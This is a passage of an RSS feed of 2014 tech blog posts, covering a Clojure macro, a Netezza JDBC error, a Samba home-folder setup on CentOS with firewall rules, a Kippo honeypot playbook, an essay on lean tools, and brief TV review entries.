&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;What &lt;code&gt;if-let&lt;/code&gt; does is to establish a new local variable and then conditionally pick between two alternative control flow paths based on the value of the new variable. It’s a common pattern within code, so it’s good to have a specific syntax for the purpose. What’s interesting about Clojure, though, is that if the language didn’t have it built in, a programmer working in Clojure could add it with a macro and you couldn’t tell the difference from built-in features. (In fact, the default Clojure implementation of &lt;code&gt;if-let&lt;/code&gt; is itself a macro.)&lt;/p&gt;&lt;p&gt;At this point, I’ve covered the basic structure of the Clojure project, as well as the project’s main entry point. Subsequent posts will cover modeling of application state within Clojure, as well as the command parser, and the commands themselves. Once I’ve covered the basic functionality of the calculator, I’ll use that as a starting point to discuss custom syntax for command definitions, and ultimately a compiler for the calculator.&lt;/p&gt;</description><author>Mike Schaeffer</author><pubDate>Tue, 02 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/ksm/rpncalc_08</guid></item><item><title>Netezza: failed to create external table for bulk load</title><link>https://www.craigpardey.com/post/2014-11-30-nz-bulk/</link><description>&lt;p&gt;I came across an interesting problem recently in some JDBC code that was inserting rows into a Netezza database.&lt;/p&gt;
&lt;p&gt;The Java code was doing something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Statement stmt ...
for( SomeObject o : listOfObjects) {
	String sql = &amp;quot;INSERT INTO tbl(col1, col2) values (?,?)&amp;quot;;
	...
	stmt.addBatch(sql);
}
stmt.executeBatch();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the &amp;ldquo;executeBatch()&amp;rdquo;, a SQLException was being thrown that said &amp;ldquo;failed to create external table for bulk load&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;What?  But it wasn&amp;rsquo;t a bulk load.  There were no external tables involved - it was a batch of vanilla inserts.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Sun, 30 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-11-30-nz-bulk/</guid></item><item><title>A modern MUD?</title><link>https://benovermyer.com/blog/2014/11/a-modern-mud/</link><description>&lt;p&gt;I'm planning a MUD, built for my friends and myself. Trying to figure out what tech to use. Maybe Java? Maybe NodeJS? We'll see.&lt;/p&gt;
&lt;p&gt;I definitely don't want to use any pre-existing MUD code. I know, this means I'll need to solve a lot of problems that have already been solved many times before. That's part of the point, though; I want to figure all of it out for myself.&lt;/p&gt;
&lt;p&gt;The game mechanics don't matter much at this point. The focus is on two things - learning how to write a game of this type, and producing a typographically beautiful game.&lt;/p&gt;
&lt;p&gt;Up to now, typography has made little difference for MUDs. I'd like to change that.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Sun, 30 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/11/a-modern-mud/</guid></item><item><title>Machine Learning Study Log</title><link>https://honestmusings.wordpress.com/2014/11/29/machine-learning-study-log/</link><description>6:45 pm, Nov 30, 2014. &amp;#8211; Coffee shop. Someone&amp;#8217;s sitting in my seat 😦 Resist temptation to offer cash for the seat. &amp;#8211; Checked out scikit tutorials. Lots of text devoted about library itself(obviously). I can do implementation or figure it out. I realise I want to learn the concepts before I jump into code. &amp;#8230; &lt;a class="more-link" href="https://honestmusings.wordpress.com/2014/11/29/machine-learning-study-log/"&gt;Continue reading &lt;span class="screen-reader-text"&gt;Machine Learning Study&amp;#160;Log&lt;/span&gt;&lt;/a&gt;</description><author>Honest Musings</author><pubDate>Sat, 29 Nov 2014 13:30:00 GMT</pubDate><guid isPermaLink="true">https://honestmusings.wordpress.com/2014/11/29/machine-learning-study-log/</guid></item><item><title>Dawn of the Planet of the Apes</title><link>https://olshansky.info/movie/dawn_of_the_planet_of_the_apes/</link><description>Olshansky's review of Dawn of the Planet of the Apes</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 29 Nov 2014 13:20:50 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/dawn_of_the_planet_of_the_apes/</guid></item><item><title>Predestination</title><link>https://olshansky.info/movie/predestination/</link><description>Olshansky's review of Predestination</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 29 Nov 2014 13:19:11 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/predestination/</guid></item><item><title>FreeBSD on Google Compute Engine</title><link>https://blog.nobugware.com/post/2014/11/28/freebsd-on-google-compute-engine/</link><description>First you need to create a VirtualBox FreeBSD install using a 10G qcow format, use an SCSI controller for the install as the disk will be visible as da0 inside GCE.
On FreeBSD 10.1 I had to load virtio manually, so set this in /boot/loader.conf
`virtio_load="YES" virtio_pci_load="YES" virtio_blk_load="YES" if_vtnet_load="YES"` Copy your ssh key in your home user .ssh/authorized_keys, be sure to be in the wheel group.
On a Mac you need to install GNU tar (brew install gnu-tar), shutdown your VirtualBox vm and upload your image to GCE</description><author>Fabrice Aneche</author><pubDate>Sat, 29 Nov 2014 02:29:34 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2014/11/28/freebsd-on-google-compute-engine/</guid></item><item><title>Chmod Calculator</title><link>https://solomon.io/chmod-calculator/</link><description>A free chmod calculator for Linux and Unix file permissions. Tick the boxes for owner, group and other to get the octal mode and the chmod command.</description><author>Sam Solomon</author><pubDate>Fri, 28 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/chmod-calculator/</guid></item><item><title>Replying to mailing lists with Evolution</title><link>https://purpleidea.com/blog/2014/11/27/replying-to-mailing-lists-with-evolution/</link><description>&lt;p&gt;I use the &lt;a href="http://en.wikipedia.org/wiki/Evolution_%28software%29"&gt;Evolution&lt;/a&gt; mail &lt;a href="https://en.wikipedia.org/wiki/Mail_user_agent"&gt;client&lt;/a&gt;. It does have a few annoying bugs, but it has a plethora of great features too! Hopefully this post will inspire you to help hack on this piece of software and fix the bugs!&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Mailing list etiquette&lt;/span&gt;:&lt;/p&gt;
&lt;p&gt;When replying to mailing lists, it&amp;rsquo;s typically very friendly to include the email address of the person you&amp;rsquo;re replying to in the &lt;em&gt;to&lt;/em&gt; or &lt;em&gt;cc&lt;/em&gt; fields along with the mailing list address. This lets that person know that someone has answered their question. In some cases, if they&amp;rsquo;re not subscribed to that mailing list, (if you don&amp;rsquo;t do this), then they might not see your reply at all.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 27 Nov 2014 22:28:54 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/11/27/replying-to-mailing-lists-with-evolution/</guid></item><item><title>Game of Thrones: Season 3</title><link>https://olshansky.info/tv/game_of_thrones_season_3/</link><description>Olshansky's review of Game of Thrones: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:45:27 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/game_of_thrones_season_3/</guid></item><item><title>Game of Thrones: Season 2</title><link>https://olshansky.info/tv/game_of_thrones_season_2/</link><description>Olshansky's review of Game of Thrones: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:45:19 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/game_of_thrones_season_2/</guid></item><item><title>Game of Thrones: Season 1</title><link>https://olshansky.info/tv/game_of_thrones_season_1/</link><description>Olshansky's review of Game of Thrones: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:45:11 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/game_of_thrones_season_1/</guid></item><item><title>Sherlock: Season 3</title><link>https://olshansky.info/tv/sherlock_season_3/</link><description>Olshansky's review of Sherlock: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:43:39 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/sherlock_season_3/</guid></item><item><title>Sherlock: Season 2</title><link>https://olshansky.info/tv/sherlock_season_2/</link><description>Olshansky's review of Sherlock: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:43:33 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/sherlock_season_2/</guid></item><item><title>Sherlock: Season 1</title><link>https://olshansky.info/tv/sherlock_season_1/</link><description>Olshansky's review of Sherlock: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:43:28 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/sherlock_season_1/</guid></item><item><title>How I Met Your Mother: Season 9</title><link>https://olshansky.info/tv/how_i_met_your_mother_season_9/</link><description>Olshansky's review of How I Met Your Mother: Season 9</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:41:51 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/how_i_met_your_mother_season_9/</guid></item><item><title>Dexter: Season 8</title><link>https://olshansky.info/tv/dexter_season_8/</link><description>Olshansky's review of Dexter: Season 8</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:40:44 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/dexter_season_8/</guid></item><item><title>Lost: Season 6</title><link>https://olshansky.info/tv/lost_season_6/</link><description>Olshansky's review of Lost: Season 6</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:40:03 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/lost_season_6/</guid></item><item><title>Fringe: Season 5</title><link>https://olshansky.info/tv/fringe_season_5/</link><description>Olshansky's review of Fringe: Season 5</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:39:01 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/fringe_season_5/</guid></item><item><title>The Walking Dead: Season 4</title><link>https://olshansky.info/tv/the_walking_dead_season_4/</link><description>Olshansky's review of The Walking Dead: Season 4</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:37:39 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_walking_dead_season_4/</guid></item><item><title>The Walking Dead: Season 3</title><link>https://olshansky.info/tv/the_walking_dead_season_3/</link><description>Olshansky's review of The Walking Dead: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:37:32 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_walking_dead_season_3/</guid></item><item><title>The Walking Dead: Season 2</title><link>https://olshansky.info/tv/the_walking_dead_season_2/</link><description>Olshansky's review of The Walking Dead: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:37:26 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_walking_dead_season_2/</guid></item><item><title>The Walking Dead: Season 1</title><link>https://olshansky.info/tv/the_walking_dead_season_1/</link><description>Olshansky's review of The Walking Dead: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:37:20 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_walking_dead_season_1/</guid></item><item><title>House of Cards: Season 1</title><link>https://olshansky.info/tv/house_of_cards_season_1/</link><description>Olshansky's review of House of Cards: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 06:36:56 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/house_of_cards_season_1/</guid></item><item><title>Gotham: Season 1</title><link>https://olshansky.info/tv/gotham_season_1/</link><description>Olshansky's review of Gotham: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 27 Nov 2014 05:02:10 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/gotham_season_1/</guid></item><item><title>Captive web portals are considered harmful</title><link>https://purpleidea.com/blog/2014/11/27/captive-web-portals-are-considered-harmful/</link><description>&lt;p&gt;Recently, when I tried to access &lt;a href="http://slashdot.org/"&gt;&lt;a href="http://slashdot.org/"&gt;http://slashdot.org/&lt;/a&gt;&lt;/a&gt; in Firefox, I would see my browser title bar flash briefly to &amp;ldquo;AT&amp;amp;T GUI&amp;rdquo;, and then I would get redirected to: &lt;code&gt;&lt;a href="http://slashdot.org/"&gt;http://slashdot.org/&lt;/a&gt;&lt;strong&gt;cgi-bin/redirect.ha&lt;/strong&gt;&lt;/code&gt; which returns slashdot&amp;rsquo;s custom error 404 page! What is going on? (Read on for answer&amp;hellip;)&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;Did slashdot mess up their &lt;a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html"&gt;mod_rewrite&lt;/a&gt; config?
(Nope, works fine in a different browser...)&lt;/li&gt;
	&lt;li&gt;Did my &lt;a href="https://www.eff.org/https-everywhere"&gt;HTTPS everywhere&lt;/a&gt; extension go crazy?
(Nope, still broken when disabled...)&lt;/li&gt;
	&lt;li&gt;Are my HTTP requests being &lt;a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack"&gt;MITM&lt;/a&gt;-ed?
(Yes, &lt;a href="https://www.schneier.com/blog/archives/2013/09/new_nsa_leak_sh.html"&gt;probably by the NSA&lt;/a&gt;, but they wouldn't make this kind of mistake...)&lt;/li&gt;
	&lt;li&gt;Is my computer p0wned?
(I use &lt;a href="https://fedoraproject.org/"&gt;GNU/Linux&lt;/a&gt;, so probably not...)&lt;/li&gt;
&lt;/ul&gt;
&lt;a href="https://duckduckgo.com/?q=AT%26T+GUI+cgi-bin%2Fredirect.ha"&gt;A keyword search&lt;/a&gt; will show you that others are also affected by this, except that the base domain (slashdot.org) is usually different... One thing that all the links I viewed have in common: none of them seem to know what's happening.
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;Some background&lt;/span&gt;:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 27 Nov 2014 02:46:06 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/11/27/captive-web-portals-are-considered-harmful/</guid></item><item><title>Introducing Eve.NET the HTTP/REST Client for Humans™</title><link>https://nicolaiarocci.com/introducing-eve-net-httprest-client-humans/</link><description>&lt;p&gt;&lt;a href="https://github.com/nicolaiarocci/Eve.NET"&gt;Eve.NET&lt;/a&gt; is a simple HTTP and REST client for Web Services powered by the &lt;a href="http://python-eve.org"&gt;Eve Framework&lt;/a&gt;. It leverages both &lt;code&gt;System.Net.HttpClient&lt;/code&gt; and &lt;code&gt;Json.NET&lt;/code&gt; to provide the best possible Eve experience on the .NET platform.&lt;/p&gt;
&lt;p&gt;Written and maintained by the same author of the Eve Framework itself, Eve.NET is delivered as a portable library (PCL) and runs seamlessly on .NET4, Mono, Xamarin.iOS, Xamarin.Android, Windows Phone 8 and Windows 8. We use Eve.NET internally to power our iOS, Web and Windows applications.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 27 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/introducing-eve-net-httprest-client-humans/</guid></item><item><title>Setting up Samba home folder shares for a CentOS 6 server and Mac OS X client</title><link>https://jonathanchang.org/blog/setting-up-samba-home-folder-shares-for-a-centos-6-server-and-mac-os-x-client/</link><description>&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: &lt;a href="/blog/setting-up-samba-home-folder-shares-for-a-centos-7-server/"&gt;Setting up home directory shares is now &lt;strong&gt;much&lt;/strong&gt; easier on CentOS 7&lt;/a&gt;.&lt;/p&gt;
  &lt;p&gt;On Mac OS X if you want to share your home folder over the network with authentication, you only have to tick a check box in System Preferences and It Just Works™. On CentOS Linux? Well…&lt;/p&gt;
  &lt;p&gt;Today I wanted to access my home folder on our Linux analysis machine over the network on a Mac OS X client. Although I could have just done everything in a Terminal, I like the pretty graphics of Finder and being able to see my files without typing &lt;code&gt;ls -l&lt;/code&gt;. The Linux machine in question is one I installed CentOS 6 on a while back. (Which, by the way, was a big mistake, since CentOS apparently does not maintain packages for things younger than a decade).&lt;/p&gt;
  &lt;p&gt;I first looked into using NFS since apparently that’s the thing you use for Linux machines, but if you don’t want NFS to share your files with the entire world, you need to set up a Kerberos key distribution service. That is unappealing given that I just want to access my own files over the network. So I settled on Samba instead. (Apple Filing Protocol, the only other option for an OS X client, is 100% out of the question because it is awful and I’m pretty sure it’s not supported on Linux).&lt;/p&gt;
  &lt;h2&gt;Configuration files&lt;/h2&gt;
  &lt;p&gt;There are roughly a dozen configuration files you need to edit in order for Samba to work properly. I don’t actually know which files I need to edit, I just kept doing things I found on the Internet until Samba started working.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;/etc/samba/smb.conf&lt;/strong&gt;: We want to let each user access their own home directory over Samba.&lt;/p&gt;
  &lt;div class="language-conf highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;[&lt;span class="n"&gt;global&lt;/span&gt;]
   &lt;span class="n"&gt;workgroup&lt;/span&gt; = &lt;span class="n"&gt;WORKGROUP&lt;/span&gt;
   &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; = &lt;span class="n"&gt;Samba&lt;/span&gt; &lt;span class="n"&gt;Server&lt;/span&gt;
   &lt;span class="n"&gt;netbios&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; = &lt;span class="n"&gt;SAMBA&lt;/span&gt;
   &lt;span class="c"&gt;# change hosts allow to the subnet you want to share files across
&lt;/span&gt;   &lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="n"&gt;allow&lt;/span&gt; = &lt;span class="m"&gt;192&lt;/span&gt;.&lt;span class="m"&gt;168&lt;/span&gt;.&lt;span class="m"&gt;0&lt;/span&gt;.
   &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; = /&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;log&lt;/span&gt;/&lt;span class="n"&gt;samba&lt;/span&gt;/&lt;span class="n"&gt;log&lt;/span&gt;.%&lt;span class="n"&gt;m&lt;/span&gt;
   &lt;span class="n"&gt;max&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; = &lt;span class="m"&gt;50&lt;/span&gt;
   &lt;span class="n"&gt;security&lt;/span&gt; = &lt;span class="n"&gt;user&lt;/span&gt;
   &lt;span class="n"&gt;map&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;guest&lt;/span&gt; = &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
   &lt;span class="n"&gt;passdb&lt;/span&gt; &lt;span class="n"&gt;backend&lt;/span&gt; = &lt;span class="n"&gt;tdbsam&lt;/span&gt;
&lt;p&gt;&lt;span class="c"&gt;# this will let people log into their own home directories
&lt;/span&gt;[&lt;span class="n"&gt;homes&lt;/span&gt;]
&lt;span class="n"&gt;comment&lt;/span&gt; = &lt;span class="n"&gt;Home&lt;/span&gt; &lt;span class="n"&gt;Directories&lt;/span&gt;
&lt;span class="n"&gt;browseable&lt;/span&gt; = &lt;span class="n"&gt;no&lt;/span&gt;
&lt;span class="n"&gt;writable&lt;/span&gt; = &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; = %&lt;span class="n"&gt;S&lt;/span&gt;
&lt;span class="n"&gt;create&lt;/span&gt; &lt;span class="n"&gt;mask&lt;/span&gt; = &lt;span class="m"&gt;0700&lt;/span&gt;
&lt;span class="n"&gt;directory&lt;/span&gt; &lt;span class="n"&gt;mask&lt;/span&gt; = &lt;span class="m"&gt;0700&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;/etc/sysconfig/iptables&lt;/strong&gt;: I don’t know if these are all needed but it seems to work. Again change the subnet with the one you want to actually share across (to match hosts allow in smb.conf)&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;-A INPUT -s 192.168.0.0/24 -m state --state NEW -p udp --dport 137 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p tcp --dport 137 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p udp --dport 138 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p tcp --dport 138 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p tcp --dport 139 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p udp --dport 139 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p tcp --dport 445 -j ACCEPT
-A INPUT -s 192.168.0.0/24 -m state --state NEW -p udp --dport 445 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Then restart the services with&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;# service iptables restart
iptables: Flushing firewall rules:                         [  OK  ]
iptables: Setting chains to policy ACCEPT: filter          [  OK  ]
iptables: Unloading modules:                               [  OK  ]
iptables: Applying firewall rules:                         [  OK  ]
# service smb restart
Shutting down SMB services:                                [  OK  ]
Starting SMB services:                                     [  OK  ]
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We also need to let SELinux know that we’re not doing any terrorist activities on our Samba share:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;# setsebool -P samba_enable_home_dirs on
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now to test it locally with &lt;code&gt;smbclient&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;$ smbclient //localhost/myuser -U myuser
Enter myuser's password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.6.23-12.el6]
tree connect failed: NT_STATUS_ACCESS_DENIED
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;OK, so that bit in &lt;code&gt;smb.conf&lt;/code&gt; about &lt;code&gt;passdb backend = tdbsam&lt;/code&gt; requiring “no further configuration” is apparently a total lie. Luckily there exists &lt;code&gt;smbpasswd&lt;/code&gt; for backwards compatibility, so let’s just use that:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;# smbpasswd -a myuser
New SMB password:
Retype new SMB password:
Added user myuser.
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Trying &lt;code&gt;smbclient&lt;/code&gt; again yields:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;$ smbclient //localhost/myuser -U myuser
Enter myuser's password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.6.23-12.el6]
smb: \&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Victory! Now to test it on OS X. In Finder, click Go =&amp;gt; Connect to Server… and enter &lt;code&gt;smb://192.168.0.101&lt;/code&gt; (or whatever your server is called) and type in your credentials. Hopefully it works!&lt;/p&gt;
&lt;h2&gt;Footnote&lt;/h2&gt;
&lt;p&gt;I don’t know why it is so complicated. I suspect that ultimately it’s my own fault for installing CentOS but honestly I’m inclined to think that everything involving Linux is awful and terrible.&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Wed, 26 Nov 2014 23:59:28 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/setting-up-samba-home-folder-shares-for-a-centos-6-server-and-mac-os-x-client/</guid></item><item><title>Deploying Kippo with Ansible</title><link>https://blog.erethon.com/blog/2014/11/25/deploying-kippo-with-ansible/</link><description>&lt;p&gt;
I've been running some instances of &lt;a href="https://github.com/desaster/kippo"&gt;Kippo&lt;/a&gt; for quite some while now
with great results. I recently wrote an &lt;a href="http://www.ansible.com/"&gt;Ansible&lt;/a&gt; playbook to automate
the process of deploying Kippo hosts and also make it scalable. You
can find the playbook on &lt;a href="https://github.com/erethon"&gt;my GitHub page&lt;/a&gt;, specifically &lt;a href="https://github.com/erethon/kippo-ansible"&gt;here&lt;/a&gt;.&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Tue, 25 Nov 2014 14:38:06 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2014/11/25/deploying-kippo-with-ansible/</guid></item><item><title>Supercharge your Android Application-2(Views).</title><link>https://prashamhtrivedi.in/supercharge-android-application-2.html</link><description>In the second part of the series, we will focus on how to optimise the views to make applications smoother.</description><author>Prasham H Trivedi</author><pubDate>Tue, 25 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/supercharge-android-application-2.html</guid></item><item><title>Lean tools</title><link>https://blog.separateconcerns.com/2014-11-23-lean-tools.html</link><description>&lt;p&gt;Two people I respect a lot, &lt;a href="https://avdi.codes/about/"&gt;Avdi Grimm&lt;/a&gt; and &lt;a href="http://soveran.com/"&gt;Michel Martens&lt;/a&gt;, are having &lt;a href="http://devblog.avdi.org/2014/11/21/in-defense-of-fat-tools/"&gt;an interesting debate&lt;/a&gt; about the complexity of programming tools and libraries.&lt;/p&gt;
&lt;p&gt;In the Ruby community, Michel is well-known for writing simple tools that do their job well. Avdi defends the framework approach of Rails, arguing that using fatter tools allows you to make your own code simpler. If you want to hear them debate it, listen to &lt;a href="https://topenddevs.com/podcasts/ruby-rogues/episodes/182-rr-keeping-libraries-and-utilities-small-and-simple-with-michel-martens"&gt;the podcast&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It will not surprise people who know me that I side with Michel here. Actually, I am probably more extreme than he is: I used his &lt;a href="https://github.com/soveran/ohm"&gt;Redis Object Mapper&lt;/a&gt; at Moodstocks some years ago, but I eventually went back to using redis-rb directly, and finally dropped the Ruby language entirely. You can also see by yourself how much I obsess about simplicity by looking as &lt;a href="http://files.catwell.info/notes/quotes.txt"&gt;my list of quotes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I feel like most programmers do not reason like Michel and me regarding this, and it seems to me those who do often have similar backgrounds in Unix and maintenance of production systems. Maybe as a result, we tend to take a system approach to everything, so when we evaluate the complexity of software, we take into account the complexity of dependencies as well as the complexity of the application code itself.&lt;/p&gt;
&lt;p&gt;When running production systems, the most important thing you want to optimize for is the speed with which you can diagnose and recover from a problem. Reliability is also important, sure, but you quickly learn that no matter how good the software you use is, it &lt;strong&gt;will&lt;/strong&gt; fail (coincidentally, another host of the podcast &lt;a href="https://jessitron.com/2014/03/20/weakness-and-vulnerability/"&gt;talks about that on her blog&lt;/a&gt;). For that purpose, you want few moving pieces, each one being simple enough for you to understand it.&lt;/p&gt;
&lt;p&gt;You can take this idea very far. Around 2007 I thought about how nice it would be to know a programming language so well that 1) there would be nothing in it I would not know about and 2) I would be able to know exactly what every line of code I wrote did internally. At the time, I wondered if it would require me to pick a language like Forth or LISP implement it myself. It turned out not to: I discovered Lua, whose reference implementation is roughly 15000 lines of (readable) C code. It has been my dynamic language of choice ever since.&lt;/p&gt;
&lt;p&gt;When I have a problem to solve, I look for the simplest Open Source tool that does it and weigh the cost of implementing the feature myself against the cost of using and maintaining this tool. Tools usually win when they just do what I wanted; they lose when they do too many things or pull in too many dependencies I did not already use.&lt;/p&gt;
&lt;p&gt;Many Ruby programmers, when they install a gem that pulls in several dependencies and compiles some C code, think: “How nice! All of this is automated for me!” The reaction of an operations person, on the other hand, is closer to this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="nope" src="img/nope.gif" /&gt;&lt;/p&gt;
&lt;p&gt;When I write Open Source tools myself, I try to reason the same way. For instance, I wrote a small &lt;a href="http://kr.github.io/beanstalkd/"&gt;Beanstalk&lt;/a&gt; client for Lua called &lt;a href="https://github.com/catwell/haricot"&gt;haricot&lt;/a&gt;. The protocol used by Beanstalk has a few methods that return YAML. Those methods are for monitoring and are typically not used by job producers or consumers.&lt;/p&gt;
&lt;p&gt;YAML being a &lt;a href="http://yaml.org/spec/1.2/spec.html"&gt;terribly complicated format&lt;/a&gt; (please do not use it), all the YAML parsers I know about in Lua land are bindings to C libraries, making them annoying to install and maintain. I had to decide between choosing one of them and making it a dependency or writing my own code to parse the subset of YAML used by Beanstalk.&lt;/p&gt;
&lt;p&gt;I chose a third solution: &lt;a href="https://github.com/catwell/haricot#note-about-yaml"&gt;returning raw YAML to the user&lt;/a&gt;. Yes, this is “pushing the complexity upstream”. But most users of this library will never need those methods. In the test suite, I auto-detect the presence of a YAML parser and skip related tests if none is available.&lt;/p&gt;
